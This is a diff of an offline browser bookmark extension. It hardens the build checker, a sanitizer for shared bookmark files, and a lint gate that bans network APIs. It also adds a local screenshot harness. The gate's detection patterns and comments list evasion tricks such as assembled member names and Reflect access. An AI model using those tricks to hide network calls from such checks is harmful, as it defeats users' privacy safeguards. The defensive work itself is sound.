"version": "1.1.0",
|
||||
"hasInstallScript": true,
|
||||
"license": "GPL-3.0-or-later",
|
||||
"devDependencies": {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "bookmarkmagic",
|
||||
"private": true,
|
||||
"version": "1.0.1",
|
||||
"version": "1.1.0",
|
||||
"type": "module",
|
||||
"description": "Import, export & edit bookmarks between browsers — offline, no account, no cloud.",
|
||||
"license": "GPL-3.0-or-later",
|
||||
|
||||
@@ -13,8 +13,10 @@
|
||||
* 1. the manifest: MV3, the exact permission list, the exact top-level key
|
||||
* set, the Chrome floor, and the exact extension-page CSP;
|
||||
* 2. the file inventory: every file the manifest or the pages point at exists
|
||||
* (WXT drops `_locales/` and `icon/` silently when publicDir is wrong);
|
||||
* 3. the bundle: no network API anywhere in the shipped JavaScript.
|
||||
* (WXT drops `_locales/` and `icon/` silently when publicDir is wrong),
|
||||
* and no page points anywhere but inside the package;
|
||||
* 3. the bundle: none of the network identifiers `npm run guard` bans in the
|
||||
* source, anywhere in the shipped JavaScript.
|
||||
*
|
||||
* Usage: node scripts/check-manifest.mjs — checks <repo>/.output/chrome-mv3,
|
||||
* resolved from this file, not the cwd. It takes no arguments on purpose: a
|
||||
@@ -36,9 +38,9 @@ const CHROME_FLOOR = '136';
|
||||
* It may only ever get stricter. Never add 'unsafe-eval' or a remote source.
|
||||
*/
|
||||
const EXPECTED_CSP =
|
||||
"script-src 'self'; object-src 'none'; connect-src 'none'; img-src 'self' data: blob:; " +
|
||||
"style-src 'self' 'unsafe-inline'; font-src 'self'; media-src 'none'; frame-src 'none'; " +
|
||||
"worker-src 'self'; form-action 'none'; base-uri 'none'";
|
||||
"default-src 'none'; script-src 'self'; object-src 'none'; connect-src 'none'; " +
|
||||
"img-src 'self' data: blob:; style-src 'self' 'unsafe-inline'; font-src 'self'; " +
|
||||
"media-src 'none'; frame-src 'none'; worker-src 'self'; form-action 'none'; base-uri 'none'";
|
||||
|
||||
/**
|
||||
* The exact top-level key set the build is expected to emit.
|
||||
@@ -85,6 +87,8 @@ const FORBIDDEN_KEYS = [
|
||||
const REQUIRED_FILES = [
|
||||
'manager.html',
|
||||
'popup.html',
|
||||
// The MIT notices for the code the build compiles in (legal/THIRD_PARTY_NOTICES.md).
|
||||
'THIRD_PARTY_NOTICES.txt',
|
||||
'_locales/en/messages.json',
|
||||
'_locales/vi/messages.json',
|
||||
'_locales/ja/messages.json',
|
||||
@@ -93,10 +97,16 @@ const REQUIRED_FILES = [
|
||||
/**
|
||||
* Network APIs that must not appear in the shipped JavaScript — including code
|
||||
* that arrived through a dependency, which `npm run guard` (source only) never
|
||||
* sees. The CSP would refuse these at runtime; this refuses to ship them.
|
||||
* sees. The same identifiers the source gate bans, matched as bare words: until
|
||||
* v1.1.0 only `fetch(` counted, so `fetch.call(…)`, an alias, WebRTC and
|
||||
* `importScripts` shipped unseen. WebRTC matters most — no CSP directive Chrome
|
||||
* enforces governs it.
|
||||
*/
|
||||
const NETWORK_IN_BUNDLE =
|
||||
/\bfetch\s*\(|\bXMLHttpRequest\b|\bWebSocket\b|\bEventSource\b|\bsendBeacon\b|\bWebTransport\b/;
|
||||
/\b(?:fetch|XMLHttpRequest|WebSocket|WebTransport|EventSource|sendBeacon|(?:webkit|moz)?RTCPeerConnection|importScripts)\b/;
|
||||
|
||||
/** `src`/`href` values in a built page. Vite writes them double-quoted. */
|
||||
const PAGE_REFS = /\b(?:src|href)="([^"]*)"/g;
|
||||
|
||||
/** @param {string} a @param {string} b */
|
||||
const byName = (a, b) => a.localeCompare(b, 'en');
|
||||
@@ -173,9 +183,36 @@ function referencedFiles(manifest) {
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* What the built pages load: every `src`/`href` must be a path inside the
|
||||
* package. A page pointing outside it would be a remote load (which the CSP
|
||||
* refuses at runtime) or a file the build forgot (a blank page).
|
||||
*
|
||||
* @param {string} outDir @param {string[]} problems @returns {string[]}
|
||||
*/
|
||||
function pageReferences(outDir, problems) {
|
||||
const refs = [];
|
||||
for (const page of listFiles(outDir).filter((f) => f.endsWith('.html'))) {
|
||||
const rel = relative(outDir, page).replace(/\\/g, '/');
|
||||
for (const [, ref = ''] of readFileSync(page, 'utf8').matchAll(PAGE_REFS)) {
|
||||
if (/^(?:[a-z][a-z\d+.-]*:|\/\/)/i.test(ref)) {
|
||||
problems.push(`${rel} loads "${ref}" from outside the package (docs/08 §3)`);
|
||||
} else if (ref !== '' && !ref.startsWith('#')) {
|
||||
refs.push(ref.split(/[?#]/)[0] ?? '');
|
||||
}
|
||||
}
|
||||
}
|
||||
return refs;
|
||||
}
|
||||
|
||||
/** @param {string} outDir @param {Record<string, unknown>} manifest @param {string[]} problems */
|
||||
function checkInventory(outDir, manifest, problems) {
|
||||
for (const file of [...REQUIRED_FILES, ...referencedFiles(manifest)]) {
|
||||
const files = [
|
||||
...REQUIRED_FILES,
|
||||
...referencedFiles(manifest),
|
||||
...pageReferences(outDir, problems),
|
||||
];
|
||||
for (const file of new Set(files)) {
|
||||
const path = join(outDir, file.replace(/^\//, ''));
|
||||
if (!existsSync(path)) problems.push(`missing file in the build: ${file}`);
|
||||
}
|
||||
|
||||
@@ -17,7 +17,9 @@ import { deflateSync } from 'node:zlib';
|
||||
/** @typedef {readonly [number, number, number, number]} Rgba */
|
||||
|
||||
/** @type {Rgba} */
|
||||
const ACCENT = [0x6d, 0x4a, 0xff, 255]; // --accent, docs/06 §1
|
||||
// The 1.0 brand violet. Deliberately NOT re-derived from --accent (now #6447f0,
|
||||
// docs/06 §1): the toolbar and store icon stay the one users already know.
|
||||
const ACCENT = [0x6d, 0x4a, 0xff, 255];
|
||||
/** @type {Rgba} */
|
||||
const WHITE = [255, 255, 255, 255];
|
||||
/** @type {Rgba} */
|
||||
|
||||
@@ -72,11 +72,18 @@ const RULES = [
|
||||
['network', 'WebTransport', /\bWebTransport\b/g],
|
||||
['network', 'EventSource', /\bEventSource\b/g],
|
||||
['network', 'sendBeacon', /\bsendBeacon\b/g],
|
||||
['network', 'RTCPeerConnection', /\bRTCPeerConnection\b/g],
|
||||
// Prefixed aliases too: no word boundary separates `webkit` from `RTC`, and
|
||||
// Chrome still ships `webkitRTCPeerConnection` as the same constructor.
|
||||
['network', 'RTCPeerConnection', /\b(?:webkit|moz)?RTCPeerConnection\b/g],
|
||||
['network', 'importScripts', /\bimportScripts\b/g],
|
||||
// `globalThis['fe' + 'tch']` — computed access on a global is how every
|
||||
// identifier rule above is evaded, so it is banned as a shape.
|
||||
['network', 'computed global access', /\b(?:globalThis|window|self|navigator|document)\s*\[/g],
|
||||
// identifier rule above is evaded, so it is banned as a shape, optional
|
||||
// chaining included (`globalThis?.['fe' + 'tch']` got through until v1.1.0).
|
||||
[
|
||||
'network',
|
||||
'computed global access',
|
||||
/\b(?:globalThis|window|self|navigator|document)(?:\s*\?\.)?\s*\[/g,
|
||||
],
|
||||
// Resource hints fetch ahead of time. These words have no use in this
|
||||
// extension, so they are banned outright; `preload` is ordinary English, so
|
||||
// only as a rel value.
|
||||
@@ -119,6 +126,22 @@ const RULES = [
|
||||
['raw HTML', 'createContextualFragment', /\bcreateContextualFragment\b/g],
|
||||
['raw HTML', 'srcdoc', /\bsrcdoc\b/gi],
|
||||
['raw HTML', 'document.write', /\bdocument\s*\.\s*write(?:ln)?\b/g],
|
||||
// Evasion. Every rule above matches a NAME; these catch the common ways of
|
||||
// using a member without writing it. Not all of them — `el[['inner',
|
||||
// 'HTML'].join('')]` still gets past any pattern — which is why the CSP and
|
||||
// the built-bundle scan stand behind this gate. `Reflect.get(globalThis, 'fe' + 'tch')`
|
||||
// and `Reflect.set(el, 'outer' + 'HTML', h)` reach anything, and nothing
|
||||
// here needs Reflect at all.
|
||||
['evasion', 'Reflect', /\bReflect\b/g],
|
||||
// `el['inner' + 'HTML']`, `el?.[`inner${x}`]`: a member name assembled at
|
||||
// runtime is only ever written to hide it. Only after something a member
|
||||
// access can follow (an identifier, `)`, `]`, `?.`), so array literals such
|
||||
// as `[`.${ext}`]` stay allowed.
|
||||
[
|
||||
'evasion',
|
||||
'assembled member name',
|
||||
/[\w$)\].]\s*\[\s*(?:(?:'[^'\n]*'|"[^"\n]*"|`[^`\n]*`)\s*\+|`[^`\n]*\$\{)/g,
|
||||
],
|
||||
];
|
||||
|
||||
/** @param {string[]} argv */
|
||||
|
||||
@@ -28,11 +28,11 @@
|
||||
import { readFileSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { basename, extname, resolve } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { sanitizeCsv } from './sanitize/csv.mjs';
|
||||
import { csvValues, sanitizeCsv } from './sanitize/csv.mjs';
|
||||
import { detectKind } from './sanitize/detect.mjs';
|
||||
import { sanitizeHtml } from './sanitize/html.mjs';
|
||||
import { sanitizeJson } from './sanitize/json.mjs';
|
||||
import { findLeakedHosts, findLeakedWords } from './sanitize/leaks.mjs';
|
||||
import { attributeValues, sanitizeHtml } from './sanitize/html.mjs';
|
||||
import { STRUCTURAL, sanitizeJson, stringValues } from './sanitize/json.mjs';
|
||||
import { findLeakedHosts, findLeakedValueWords, findLeakedWords } from './sanitize/leaks.mjs';
|
||||
import { makeTitleMapper, makeUrlMapper } from './sanitize/mappers.mjs';
|
||||
|
||||
export { detectKind } from './sanitize/detect.mjs';
|
||||
@@ -61,12 +61,29 @@ export function sanitize(text) {
|
||||
else out = sanitizeJson(text, mapUrl, mapTitle);
|
||||
|
||||
const leaked = [
|
||||
...findLeakedHosts(out),
|
||||
...(kind === 'html' ? findLeakedWords(out).map((word) => `text "${word}"`) : []),
|
||||
...findLeakedHosts(out).map(() => 'host'),
|
||||
...(kind === 'html' ? findLeakedWords(out).map(() => 'text') : []),
|
||||
...findLeakedValueWords(valuesOf(kind, out)).map(() => 'value'),
|
||||
];
|
||||
return { text: leaked.length > 0 ? null : out, kind, leaked };
|
||||
}
|
||||
|
||||
/**
|
||||
* The values of a sanitized file that a person could have written — every one
|
||||
* of them must be a placeholder by now.
|
||||
*
|
||||
* @param {import('./sanitize/detect.mjs').Kind} kind
|
||||
* @param {string} out
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function valuesOf(kind, out) {
|
||||
if (kind === 'html') return attributeValues(out);
|
||||
if (kind === 'csv') return csvValues(out);
|
||||
return stringValues(out)
|
||||
.filter((t) => !STRUCTURAL.has(t.key ?? '') && !(t.parentKey === 'annos' && t.key === 'name'))
|
||||
.map((t) => /** @type {string} */ (JSON.parse(`"${t.raw}"`)));
|
||||
}
|
||||
|
||||
/** @param {string} input */
|
||||
function refuseUnknown(input) {
|
||||
console.error(
|
||||
@@ -80,14 +97,26 @@ function refuseUnknown(input) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
/** @param {string} input @param {string[]} leaked */
|
||||
/**
|
||||
* Counts and categories only — never the strings. The old message printed what
|
||||
* had leaked ("text \"Nguyen\", text \"payroll\"") and then asked for it in a
|
||||
* public issue, which published exactly what the refusal had just withheld.
|
||||
*
|
||||
* @param {string} input @param {string[]} leaked categories, one per finding
|
||||
*/
|
||||
function refuseLeak(input, leaked) {
|
||||
/** @type {Record<string, number>} */
|
||||
const counts = {};
|
||||
for (const category of leaked) counts[category] = (counts[category] ?? 0) + 1;
|
||||
const summary = Object.entries(counts)
|
||||
.map(([category, n]) => `${n} ${category}${n === 1 ? '' : 's'}`)
|
||||
.join(', ');
|
||||
console.error(
|
||||
`${basename(input)}: NOTHING WAS WRITTEN — the result still contained ${leaked.length} item(s) ` +
|
||||
`that look personal, so this file is not safe to attach.\n Found: ${leaked.slice(0, 5).join(', ')}` +
|
||||
`${leaked.length > 5 ? `, and ${leaked.length - 5} more` : ''}\n` +
|
||||
' This is a bug in the sanitizer, not in your file. Please report it (without the file)\n' +
|
||||
' at https://github.com/poli0981/bookmarkmagic/issues — the list above is enough.',
|
||||
`${basename(input)}: NOTHING WAS WRITTEN — the result still contained ${summary} that look ` +
|
||||
'personal, so this file is not safe to attach.\n' +
|
||||
' This is a bug in the sanitizer, not in your file. Please report it at\n' +
|
||||
' https://github.com/poli0981/bookmarkmagic/issues with only the counts above and the\n' +
|
||||
' browser that wrote the file. Do not attach the file, and do not paste any of its contents.',
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ import { replaceSpans } from './spans.mjs';
|
||||
* @param {string} delimiter
|
||||
* @returns {Field[]}
|
||||
*/
|
||||
function readFields(text, delimiter) {
|
||||
export function readFields(text, delimiter) {
|
||||
/** @type {Field[]} */
|
||||
const fields = [];
|
||||
let row = 0;
|
||||
@@ -87,32 +87,68 @@ function mapFolderPath(path, mapTitle) {
|
||||
.join('/');
|
||||
}
|
||||
|
||||
/** @param {string} text */
|
||||
export function csvDelimiter(text) {
|
||||
return (text.split('\n', 1)[0] ?? '').includes(';') ? ';' : ',';
|
||||
}
|
||||
|
||||
/**
|
||||
* Default-deny: every field is rewritten except a date (digits only). The
|
||||
* old rules rewrote only the folder, title and url columns — and a title with
|
||||
* an unquoted comma, the very row that makes the extension report
|
||||
* CSV_ROW_MISMATCH, shifts every later field one column right, so the url
|
||||
* landed in `add_date` and was copied out verbatim. A row of the wrong width is
|
||||
* judged by value shape instead of by column.
|
||||
*
|
||||
* @param {string} text
|
||||
* @param {Mapper} mapUrl
|
||||
* @param {Mapper} mapTitle
|
||||
*/
|
||||
export function sanitizeCsv(text, mapUrl, mapTitle) {
|
||||
const delimiter = (text.split('\n', 1)[0] ?? '').includes(';') ? ';' : ',';
|
||||
const fields = readFields(text, delimiter);
|
||||
const fields = readFields(text, csvDelimiter(text));
|
||||
|
||||
// Column names per docs/04 §3 — `folder_path`, not `folder`.
|
||||
const header = fields.filter((f) => f.row === 0).map((f) => text.slice(f.start, f.end).trim());
|
||||
/** @param {string} name */
|
||||
const at = (name) => header.findIndex((h) => h.toLowerCase().replace(/^/, '') === name);
|
||||
const [folderCol, titleCol, urlCol] = [at('folder_path'), at('title'), at('url')];
|
||||
const at = (name) => header.findIndex((h) => h.toLowerCase().replace(/^\uFEFF/, '') === name);
|
||||
const [folderCol, titleCol, urlCol, dateCol] = [
|
||||
at('folder_path'),
|
||||
at('title'),
|
||||
at('url'),
|
||||
at('add_date'),
|
||||
];
|
||||
/** @type {Map<number, number>} */
|
||||
const width = new Map();
|
||||
for (const f of fields) width.set(f.row, (width.get(f.row) ?? 0) + 1);
|
||||
|
||||
/** @type {Span[]} */
|
||||
const spans = [];
|
||||
for (const f of fields) {
|
||||
if (f.row === 0 || f.start === f.end) continue;
|
||||
const value = text.slice(f.start, f.end).replace(/""/g, '"');
|
||||
const aligned = width.get(f.row) === header.length;
|
||||
// A number says nothing about anyone, and dates are what parsers branch on.
|
||||
// trim() first: `^\s*\d*\s*$` let two `\s*` compete for the same blanks,
|
||||
// which backtracks quadratically on a long run of them (S8786).
|
||||
if (/^\d*$/.test(value.trim()) && (f.col === dateCol || !aligned)) continue;
|
||||
let mapped;
|
||||
if (f.col === urlCol) mapped = mapUrl(value);
|
||||
else if (f.col === titleCol) mapped = mapTitle(value);
|
||||
else if (f.col === folderCol) mapped = mapFolderPath(value, mapTitle);
|
||||
else continue;
|
||||
if (f.col === folderCol) mapped = mapFolderPath(value, mapTitle);
|
||||
else if (aligned && f.col === urlCol) mapped = mapUrl(value);
|
||||
else if (aligned && f.col === titleCol) mapped = mapTitle(value);
|
||||
else mapped = /^[a-z][a-z0-9+.-]*:/i.test(value) ? mapUrl(value) : mapTitle(value);
|
||||
spans.push({ start: f.start, end: f.end, value: mapped.replace(/"/g, '""') });
|
||||
}
|
||||
return replaceSpans(text, spans);
|
||||
}
|
||||
|
||||
/**
|
||||
* Every field below the header, unescaped — what the leak check reads.
|
||||
*
|
||||
* @param {string} text
|
||||
* @returns {string[]}
|
||||
*/
|
||||
export function csvValues(text) {
|
||||
return readFields(text, csvDelimiter(text))
|
||||
.filter((f) => f.row > 0)
|
||||
.map((f) => text.slice(f.start, f.end).replace(/""/g, '"'));
|
||||
}
|
||||
@@ -20,33 +20,72 @@ import {
|
||||
const BLANK_ICON =
|
||||
'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
|
||||
|
||||
/** Attributes handled explicitly; the generic URL sweep must not touch them. */
|
||||
const HANDLED_ATTRS = new Set(['href', 'icon']);
|
||||
/** Attributes handled explicitly; the generic sweep must not touch them. */
|
||||
const HANDLED_ATTRS = new Set(['href', 'icon', 'shortcuturl', 'tags']);
|
||||
|
||||
/**
|
||||
* Scrub any *other* attribute whose value is an address. Firefox alone writes
|
||||
* `ICON_URI`, and `FEEDURL` and friends exist in the wild; enumerating them was
|
||||
* already wrong once, so this sweeps by value shape. `file:` counts: an
|
||||
* `ICON_URI="file:///C:/Users/<name>/…"` has no host, and used to pass.
|
||||
* Attributes whose values are structure — dates, root markers, the charset
|
||||
* line — and are kept as written. Exported for the leak check.
|
||||
*/
|
||||
export const STRUCTURAL_ATTRS = new Set([
|
||||
'add_date',
|
||||
'last_modified',
|
||||
'last_visit',
|
||||
'personal_toolbar_folder',
|
||||
'unfiled_bookmarks_folder',
|
||||
'mobile_bookmarks_folder',
|
||||
'last_charset',
|
||||
'folded',
|
||||
'http-equiv',
|
||||
'content',
|
||||
'charset',
|
||||
]);
|
||||
|
||||
/**
|
||||
* Every OTHER attribute, default-deny: an address is mapped as one, a number
|
||||
* or boolean is kept, anything else becomes `attrN`. The old sweep touched
|
||||
* only address-shaped values, so Firefox's `POST_DATA="…&user=jane.doe"` on a
|
||||
* keyword bookmark — and any exporter's `DATA-NOTE` — went out verbatim.
|
||||
* `file:` counts as an address: `ICON_URI="file:///C:/Users/<name>/…"`.
|
||||
*
|
||||
* @param {string} text
|
||||
* @param {Mapper} mapUrl
|
||||
* @returns {Span[]}
|
||||
*/
|
||||
function urlAttrSpans(text, mapUrl) {
|
||||
function otherAttrSpans(text, mapUrl) {
|
||||
/** @type {Span[]} */
|
||||
const spans = [];
|
||||
const rewrite = attrRewriter(mapUrl);
|
||||
let others = 0;
|
||||
for (const m of text.matchAll(ANY_ATTR)) {
|
||||
const name = (m[1] ?? '').toLowerCase();
|
||||
const value = m[2] ?? m[3] ?? m[4] ?? '';
|
||||
if (HANDLED_ATTRS.has(name) || value === '' || !isAddressLike(value)) continue;
|
||||
if (HANDLED_ATTRS.has(name) || STRUCTURAL_ATTRS.has(name) || value === '') continue;
|
||||
if (/^(?:-?\d+(?:\.\d+)?|true|false)$/i.test(value)) continue;
|
||||
const at = m.indices?.[2] ?? m.indices?.[3] ?? m.indices?.[4];
|
||||
if (at !== undefined) spans.push({ start: at[0], end: at[1], value: rewrite(value) });
|
||||
if (at === undefined) continue;
|
||||
const mapped = isAddressLike(value) ? rewrite(value) : `attr${++others}`;
|
||||
spans.push({ start: at[0], end: at[1], value: mapped });
|
||||
}
|
||||
return spans;
|
||||
}
|
||||
|
||||
/**
|
||||
* Every attribute value outside the structural set — what the leak check reads.
|
||||
*
|
||||
* @param {string} html
|
||||
* @returns {string[]}
|
||||
*/
|
||||
export function attributeValues(html) {
|
||||
/** @type {string[]} */
|
||||
const values = [];
|
||||
for (const m of html.matchAll(ANY_ATTR)) {
|
||||
if (STRUCTURAL_ATTRS.has((m[1] ?? '').toLowerCase())) continue;
|
||||
values.push(m[2] ?? m[3] ?? m[4] ?? '');
|
||||
}
|
||||
return values;
|
||||
}
|
||||
|
||||
/** The next element that ends a description: `<DT>`, `<DD>`, `<DL>` or a close. */
|
||||
const DESCRIPTION_END = /<\s*(?:\/\s*)?(?:dt|dd|dl)\b/gi;
|
||||
|
||||
@@ -97,7 +136,7 @@ export function sanitizeHtml(text, mapUrl, mapTitle) {
|
||||
// HREF and ICON, at any quoting — attribute name case is left as found.
|
||||
...attrSpans(text, /^href$/, attrRewriter(mapUrl)),
|
||||
...attrSpans(text, /^icon$/, () => BLANK_ICON),
|
||||
...urlAttrSpans(text, mapUrl),
|
||||
...otherAttrSpans(text, mapUrl),
|
||||
// Firefox keywords and tags are user-authored text, so they are personal
|
||||
// too. Tag count is preserved because it is the only part a parser sees.
|
||||
...attrSpans(text, /^shortcuturl$/, () => `kw${++keywords}`),
|
||||
|
||||
@@ -24,7 +24,7 @@ import { replaceSpans } from './spans.mjs';
|
||||
* format markers, type tags, root identifiers, numeric ids and every timestamp
|
||||
* (Chrome stores dates as decimal strings). Nothing a person typed lives here.
|
||||
*/
|
||||
const STRUCTURAL = new Set([
|
||||
export const STRUCTURAL = new Set([
|
||||
'format',
|
||||
'generator',
|
||||
'exportedAt',
|
||||
|
||||
@@ -64,3 +64,43 @@ export function findLeakedWords(html) {
|
||||
}
|
||||
return [...leaked];
|
||||
}
|
||||
|
||||
/**
|
||||
* Everything the mappers emit in place of a value, as patterns. What is left of
|
||||
* a value once these are removed was not written by this tool.
|
||||
*/
|
||||
const PLACEHOLDERS = [
|
||||
// A mapped address, query and `#frag` included — `&` too, so its `;`
|
||||
// must not end the match.
|
||||
/\b[a-z][a-z0-9+.-]*:\/\/[a-z]\d*\.example(?::\d+)?[^\s"',]*/gi,
|
||||
// Firefox's fixed root GUIDs, which the mapper keeps on purpose.
|
||||
/\b(?:root|menu|toolbar|unfiled|mobile|tags)_{2,}/g,
|
||||
/\b[a-z][a-z0-9+.-]*:sanitized-\d+/gi,
|
||||
/\bnot-a-url-\d+/g,
|
||||
/\b(?:Title|Description) \d+/g,
|
||||
/\b(?:kw|tag|attr|g)\d+\b/g,
|
||||
/\b0{8}-0{4}-4000-8000-\d{12}\b/g,
|
||||
/data:image\/png;base64,[A-Za-z0-9+/=]+/g,
|
||||
/&(?:#\d+|#x[0-9a-f]+|[a-z]+);/gi,
|
||||
];
|
||||
|
||||
/**
|
||||
* Words left in VALUES — CSV fields, attribute values, JSON strings — once every
|
||||
* placeholder shape is removed. The value-level twin of `findLeakedWords`: a
|
||||
* misaligned CSV row put a payslip path and a phone note in columns the CSV
|
||||
* rules never looked at, and the host-only check let both through.
|
||||
*
|
||||
* @param {Iterable<string>} values sanitized values
|
||||
* @returns {string[]} distinct offending words, empty when clean
|
||||
*/
|
||||
export function findLeakedValueWords(values) {
|
||||
const leaked = new Set();
|
||||
for (const value of values) {
|
||||
let rest = value;
|
||||
for (const re of PLACEHOLDERS) rest = rest.replace(re, ' ');
|
||||
for (const [word] of rest.matchAll(/\p{L}{3,}/gu)) {
|
||||
if (!ALLOWED_WORDS.has(word.toLowerCase())) leaked.add(word);
|
||||
}
|
||||
}
|
||||
return [...leaked];
|
||||
}
|
||||
@@ -0,0 +1,301 @@
|
||||
#!/usr/bin/env node
|
||||
// @ts-check
|
||||
/**
|
||||
* Screenshot harness — docs/13 §2, docs/11 §5.
|
||||
*
|
||||
* Serves the BUILT extension (`.output/chrome-mv3`) over localhost with a fake
|
||||
* `chrome` object and neutral sample bookmarks, so every page can be looked at
|
||||
* — and photographed for the store listing — without loading the extension or
|
||||
* exposing anyone's real bookmarks. Each HTML response also carries the
|
||||
* production CSP as a meta tag, so a violation shows up in the console here
|
||||
* exactly as it would in the extension.
|
||||
*
|
||||
* npm run build && node scripts/screenshots.mjs # serve on :4318
|
||||
* node scripts/screenshots.mjs --shoot # also capture PNGs
|
||||
*
|
||||
* Page URLs take `?theme=light|dark&lang=en|vi|ja&legal=0|1`, and the route as
|
||||
* the hash: http://localhost:4318/manager.html?theme=dark&lang=vi#edit
|
||||
*
|
||||
* `--shoot` drives a locally installed Chrome (CHROME_PATH, or the usual
|
||||
* install paths) headless, on a throwaway profile — never the user's own:
|
||||
* every route × theme × language at 1280×800 into `.output/qa-screens/` (for
|
||||
* review, git-ignored), the README set into `capture/`, and the store set into
|
||||
* `store/screenshots/`. Dev tool only: nothing here ships, the server listens
|
||||
* on 127.0.0.1 alone, and it never touches the network beyond it.
|
||||
*/
|
||||
import { execFile } from 'node:child_process';
|
||||
import { existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { createServer } from 'node:http';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { extname, join, relative, resolve, sep } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { promisify } from 'node:util';
|
||||
|
||||
const run = promisify(execFile);
|
||||
|
||||
const ROOT = resolve(fileURLToPath(new URL('..', import.meta.url)));
|
||||
const OUT = join(ROOT, '.output', 'chrome-mv3');
|
||||
const PORT = Number(process.env.PORT ?? 4318);
|
||||
/** Loopback only: the harness serves the build and a fake API to this machine, nobody else. */
|
||||
const HOST = '127.0.0.1';
|
||||
const TYPES = /** @type {Record<string, string>} */ ({
|
||||
'.html': 'text/html; charset=utf-8',
|
||||
'.js': 'text/javascript; charset=utf-8',
|
||||
'.css': 'text/css; charset=utf-8',
|
||||
'.json': 'application/json',
|
||||
'.png': 'image/png',
|
||||
'.svg': 'image/svg+xml',
|
||||
'.txt': 'text/plain; charset=utf-8',
|
||||
});
|
||||
|
||||
/** The CSP the production manifest declares, read from the build itself. */
|
||||
function productionCsp() {
|
||||
const manifest = JSON.parse(readFileSync(join(OUT, 'manifest.json'), 'utf8'));
|
||||
return String(manifest.content_security_policy?.extension_pages ?? "script-src 'self'");
|
||||
}
|
||||
|
||||
/** The fake `chrome`, as a classic script that runs before the page's modules. */
|
||||
function shim() {
|
||||
const manifest = readFileSync(join(OUT, 'manifest.json'), 'utf8');
|
||||
return `(() => {
|
||||
const q = new URLSearchParams(location.search);
|
||||
const manifest = ${manifest};
|
||||
const listeners = () => { const set = new Set(); return { addListener: (f) => set.add(f), removeListener: (f) => set.delete(f), fire: (...a) => set.forEach((f) => f(...a)) }; };
|
||||
let next = 100;
|
||||
const day = 86400000, base = Date.UTC(2026, 6, 1);
|
||||
const b = (title, url, age = 1) => ({ id: String(next++), title, url, dateAdded: base - age * day });
|
||||
const f = (title, children, age = 30) => ({ id: String(next++), title, dateAdded: base - age * day, dateGroupModified: base, children });
|
||||
const tree = [{ id: '0', title: '', children: [
|
||||
{ id: '1', title: 'Bookmarks bar', children: [
|
||||
b('Docs', 'https://docs.example.org/'), b('Calendar', 'https://calendar.example.com/'),
|
||||
f('Dev', [b('Repository', 'https://code.example.dev/project'), b('CI dashboard', 'https://ci.example.dev/'),
|
||||
f('Reference', [b('Language spec', 'https://spec.example.org/latest'), b('Style guide', 'https://style.example.org/'), b('Repository', 'https://code.example.dev/project')])]),
|
||||
f('Reading', [b('Long read about distributed systems and the people who keep them running', 'https://essays.example.net/systems'), b('Weekly notes', 'https://notes.example.net/week-27')]),
|
||||
b('', 'https://untitled.example.com/'),
|
||||
] },
|
||||
{ id: '2', title: 'Other bookmarks', children: [
|
||||
f('Recipes', [b('Bread', 'https://kitchen.example.com/bread'), b('Soup', 'https://kitchen.example.com/soup')]),
|
||||
f('Travel', [b('Rail map', 'https://rail.example.org/map'), b('Hostels', 'https://stay.example.org/')]),
|
||||
b('Bookmarklet', 'javascript:void(0)'), b('Docs', 'https://docs.example.org/'),
|
||||
] },
|
||||
{ id: '3', title: 'Mobile bookmarks', children: [b('Read later', 'https://later.example.com/')] },
|
||||
] }];
|
||||
const byId = (id, nodes = tree) => { for (const n of nodes) { if (n.id === id) return n; const hit = n.children && byId(id, n.children); if (hit) return hit; } };
|
||||
const parentOf = (id, nodes = tree) => { for (const n of nodes) { if (n.children?.some((c) => c.id === id)) return n; const hit = n.children && parentOf(id, n.children); if (hit) return hit; } };
|
||||
const clone = (v) => structuredClone(v);
|
||||
const events = { onCreated: listeners(), onRemoved: listeners(), onChanged: listeners(), onMoved: listeners(), onChildrenReordered: listeners(), onImportBegan: listeners(), onImportEnded: listeners() };
|
||||
const bookmarks = { ...events,
|
||||
getTree: async () => clone(tree),
|
||||
create: async ({ parentId, title, url, index }) => { const p = byId(parentId); const n = url ? { id: String(next++), parentId, title, url, dateAdded: Date.now() } : { id: String(next++), parentId, title, dateAdded: Date.now(), children: [] }; const at = index ?? p.children.length; p.children.splice(at, 0, n); events.onCreated.fire(n.id, clone({ ...n, index: at })); return clone(n); },
|
||||
update: async (id, changes) => { Object.assign(byId(id), changes); events.onChanged.fire(id, changes); },
|
||||
move: async (id, { parentId, index }) => { const from = parentOf(id); const n = byId(id); const old = from.children.indexOf(n); from.children.splice(old, 1); const to = byId(parentId ?? from.id); let at = index ?? to.children.length; if (to === from && at > old) at--; to.children.splice(at, 0, n); events.onMoved.fire(id, { parentId: to.id, index: at, oldParentId: from.id, oldIndex: old }); },
|
||||
remove: async (id) => { const p = parentOf(id); p.children = p.children.filter((c) => c.id !== id); events.onRemoved.fire(id, {}); },
|
||||
};
|
||||
bookmarks.removeTree = bookmarks.remove;
|
||||
const area = (seed = {}) => { const data = { ...seed }; const changed = listeners(); return { data, changed,
|
||||
get: async (keys) => { if (keys == null) return clone(data); const list = typeof keys === 'string' ? [keys] : Array.isArray(keys) ? keys : Object.keys(keys); return Object.fromEntries(list.filter((k) => k in data).map((k) => [k, clone(data[k])])); },
|
||||
set: async (items) => { Object.assign(data, clone(items)); }, remove: async (keys) => { for (const k of [].concat(keys)) delete data[k]; }, clear: async () => { for (const k of Object.keys(data)) delete data[k]; } }; };
|
||||
const lang = q.get('lang') ?? 'en';
|
||||
const local = area({
|
||||
settings: { theme: q.get('theme') ?? 'light', locale: lang, defaultExportFormat: 'netscape-html', defaultMergeMode: 'new-folder', csvDelimiter: ',', markdownStyle: 'nested' },
|
||||
...(q.get('legal') === '0' ? {} : { legal: { acceptedVersion: 1, acceptedAt: '2026-07-26T09:00:00.000Z' } }),
|
||||
});
|
||||
